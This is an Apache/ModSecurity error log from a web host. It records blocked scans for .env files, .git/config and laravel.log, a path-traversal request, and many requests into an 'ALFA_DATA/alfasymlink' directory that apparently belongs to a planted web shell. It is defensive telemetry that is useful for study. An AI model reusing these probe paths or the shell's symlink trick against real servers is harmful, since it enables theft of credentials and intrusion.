[Sat Oct 24 13:01:31.253118 2026] [security2:error] [pid 2666873:tid 2666873] [client 45.138.12.51:48308] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/storage/logs/laravel.log"] [unique_id "atzka6pyxzGTDP3At0pyqQAAAAc"]
[Sat Oct 24 13:01:31.253438 2026] [security2:error] [pid 2666873:tid 2666873] [client 45.138.12.51:48308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/storage/logs/laravel.log"] [unique_id "atzka6pyxzGTDP3At0pyqQAAAAc"]
[Sat Oct 24 13:01:31.254130 2026] [security2:error] [pid 2666873:tid 2666873] [client 45.138.12.51:48308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzka6pyxzGTDP3At0pyqQAAAAc"]
[Sat Oct 24 13:01:31.830465 2026] [security2:error] [pid 2661979:tid 2661979] [client 45.138.12.51:48334] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.bak"] [unique_id "atzka3y_mx2QzptTVg2qsgAAAAU"]
[Sat Oct 24 13:01:31.830653 2026] [security2:error] [pid 2661979:tid 2661979] [client 45.138.12.51:48334] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.bak"] [unique_id "atzka3y_mx2QzptTVg2qsgAAAAU"]
[Sat Oct 24 13:01:31.831327 2026] [security2:error] [pid 2661979:tid 2661979] [client 45.138.12.51:48334] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzka3y_mx2QzptTVg2qsgAAAAU"]
[Sat Oct 24 13:01:32.023660 2026] [security2:error] [pid 2627273:tid 2627273] [client 45.138.12.51:48358] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.testing"] [unique_id "atzkbBdOhHN-18IxgZKtcwAAAAY"]
[Sat Oct 24 13:01:32.023923 2026] [security2:error] [pid 2627273:tid 2627273] [client 45.138.12.51:48358] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.testing"] [unique_id "atzkbBdOhHN-18IxgZKtcwAAAAY"]
[Sat Oct 24 13:01:32.024679 2026] [security2:error] [pid 2627273:tid 2627273] [client 45.138.12.51:48358] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkbBdOhHN-18IxgZKtcwAAAAY"]
[Sat Oct 24 13:01:32.225517 2026] [security2:error] [pid 2653819:tid 2653819] [client 45.138.12.51:48374] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "162.216.113.238"] [uri "/media../.git/config"] [unique_id "atzkbNFqpkZ9T6kfBCkALQAAAAA"]
[Sat Oct 24 13:01:32.225575 2026] [security2:error] [pid 2653819:tid 2653819] [client 45.138.12.51:48374] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "162.216.113.238"] [uri "/media../.git/config"] [unique_id "atzkbNFqpkZ9T6kfBCkALQAAAAA"]
[Sat Oct 24 13:01:32.225619 2026] [security2:error] [pid 2653819:tid 2653819] [client 45.138.12.51:48374] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/media../.git/config"] [unique_id "atzkbNFqpkZ9T6kfBCkALQAAAAA"]
[Sat Oct 24 13:01:32.225808 2026] [security2:error] [pid 2653819:tid 2653819] [client 45.138.12.51:48374] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/media../.git/config"] [unique_id "atzkbNFqpkZ9T6kfBCkALQAAAAA"]
[Sat Oct 24 13:01:32.226562 2026] [security2:error] [pid 2653819:tid 2653819] [client 45.138.12.51:48374] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkbNFqpkZ9T6kfBCkALQAAAAA"]
[Sat Oct 24 13:01:32.427239 2026] [security2:error] [pid 2653689:tid 2653689] [client 45.138.12.51:48382] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/web/.env"] [unique_id "atzkbAoF0dEltz9SGyy7iwAAABU"]
[Sat Oct 24 13:01:32.427469 2026] [security2:error] [pid 2653689:tid 2653689] [client 45.138.12.51:48382] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/web/.env"] [unique_id "atzkbAoF0dEltz9SGyy7iwAAABU"]
[Sat Oct 24 13:01:32.428306 2026] [security2:error] [pid 2653689:tid 2653689] [client 45.138.12.51:48382] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkbAoF0dEltz9SGyy7iwAAABU"]
[Sat Oct 24 13:01:32.636863 2026] [security2:error] [pid 2661974:tid 2661974] [client 45.138.12.51:37290] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/site/.env"] [unique_id "atzkbFJ_jwyaxTk3PFs1hwAAAAE"]
[Sat Oct 24 13:01:32.637056 2026] [security2:error] [pid 2661974:tid 2661974] [client 45.138.12.51:37290] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/site/.env"] [unique_id "atzkbFJ_jwyaxTk3PFs1hwAAAAE"]
[Sat Oct 24 13:01:32.637868 2026] [security2:error] [pid 2661974:tid 2661974] [client 45.138.12.51:37290] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkbFJ_jwyaxTk3PFs1hwAAAAE"]
[Sat Oct 24 13:01:32.830068 2026] [security2:error] [pid 2653691:tid 2653691] [client 45.138.12.51:37306] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env_sample"] [unique_id "atzkbAg8t6UDSRTNwJOXZQAAABc"]
[Sat Oct 24 13:01:32.830273 2026] [security2:error] [pid 2653691:tid 2653691] [client 45.138.12.51:37306] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env_sample"] [unique_id "atzkbAg8t6UDSRTNwJOXZQAAABc"]
[Sat Oct 24 13:01:32.831071 2026] [security2:error] [pid 2653691:tid 2653691] [client 45.138.12.51:37306] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atzkbAg8t6UDSRTNwJOXZQAAABc"]
[Sat Oct 24 13:01:34.385147 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.162.69.192:41746] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:01:42.396601 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 35.169.119.108:56428] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:01.3/rescan
[Sat Oct 24 13:01:44.239857 2026] [security2:error] [pid 2661978:tid 2661978] [client 130.12.180.176:49126] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzkeFb2-c1qsZ5qYR4AgAAAAAM"]
[Sat Oct 24 13:01:44.240160 2026] [security2:error] [pid 2661978:tid 2661978] [client 130.12.180.176:49126] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzkeFb2-c1qsZ5qYR4AgAAAAAM"]
[Sat Oct 24 13:01:44.240569 2026] [security2:error] [pid 2661978:tid 2661978] [client 130.12.180.176:49126] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzkeFb2-c1qsZ5qYR4AgAAAAAM"]
[Sat Oct 24 13:02:18.112669 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 85.208.96.205:39246] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/cpu_slabs
[Sat Oct 24 13:02:18.754794 2026] [ssl:error] [pid 2661974:tid 2661974] (5)Input/output error: [client 52.203.237.170:1235] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:02:22.189665 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 35.169.240.53:52435] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:02:26.341136 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 35.171.117.160:15044] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:02:30.345420 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 3.224.104.67:13120] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:02:42.370296 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 18.213.27.222:43069] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/ata_piix/bind
[Sat Oct 24 13:02:50.089242 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 185.191.171.3:29612] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/key_jar/ctor
[Sat Oct 24 13:02:50.227126 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 18.213.70.100:34043] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:02:58.327338 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 54.84.147.79:60392] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:03:00.815138 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 185.191.171.7:53512] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/reclaim_account
[Sat Oct 24 13:03:06.337367 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 52.203.237.170:31933] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:03:06.337562 2026] [security2:error] [pid 2661979:tid 2661979] [client 52.203.237.170:31933] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/device:06/sun"] [unique_id "atzkyny_mx2QzptTVg2qtgAAAAU"]
[Sat Oct 24 13:03:06.337585 2026] [security2:error] [pid 2661979:tid 2661979] [client 52.203.237.170:31933] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/device:06/sun"] [unique_id "atzkyny_mx2QzptTVg2qtgAAAAU"]
[Sat Oct 24 13:03:26.206747 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 100.28.44.58:14819] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:03:34.612798 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 185.191.171.14:33062] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dm_uevent/objects_partial
[Sat Oct 24 13:04:02.260576 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.229.164.203:17206] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:04:06.547011 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 54.85.126.86:18115] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:04:14.292808 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 34.194.233.48:6972] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/ata_piix/module/uevent
[Sat Oct 24 13:04:27.139044 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 185.191.171.12:13626] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/drm/sections/_ftrace_events
[Sat Oct 24 13:04:31.020779 2026] [security2:error] [pid 2653691:tid 2653691] [client 34.74.37.180:36356] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzlHwg8t6UDSRTNwJOXbAAAABc"]
[Sat Oct 24 13:04:31.021077 2026] [security2:error] [pid 2653691:tid 2653691] [client 34.74.37.180:36356] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzlHwg8t6UDSRTNwJOXbAAAABc"]
[Sat Oct 24 13:04:31.021308 2026] [security2:error] [pid 2653691:tid 2653691] [client 34.74.37.180:36356] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzlHwg8t6UDSRTNwJOXbAAAABc"]
[Sat Oct 24 13:04:31.021568 2026] [security2:error] [pid 2653691:tid 2653691] [client 34.74.37.180:36356] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzlHwg8t6UDSRTNwJOXbAAAABc"]
[Sat Oct 24 13:04:31.026273 2026] [security2:error] [pid 2661974:tid 2661974] [client 34.74.37.180:36360] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "clic2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atzlH1J_jwyaxTk3PFs1jgAAAAE"]
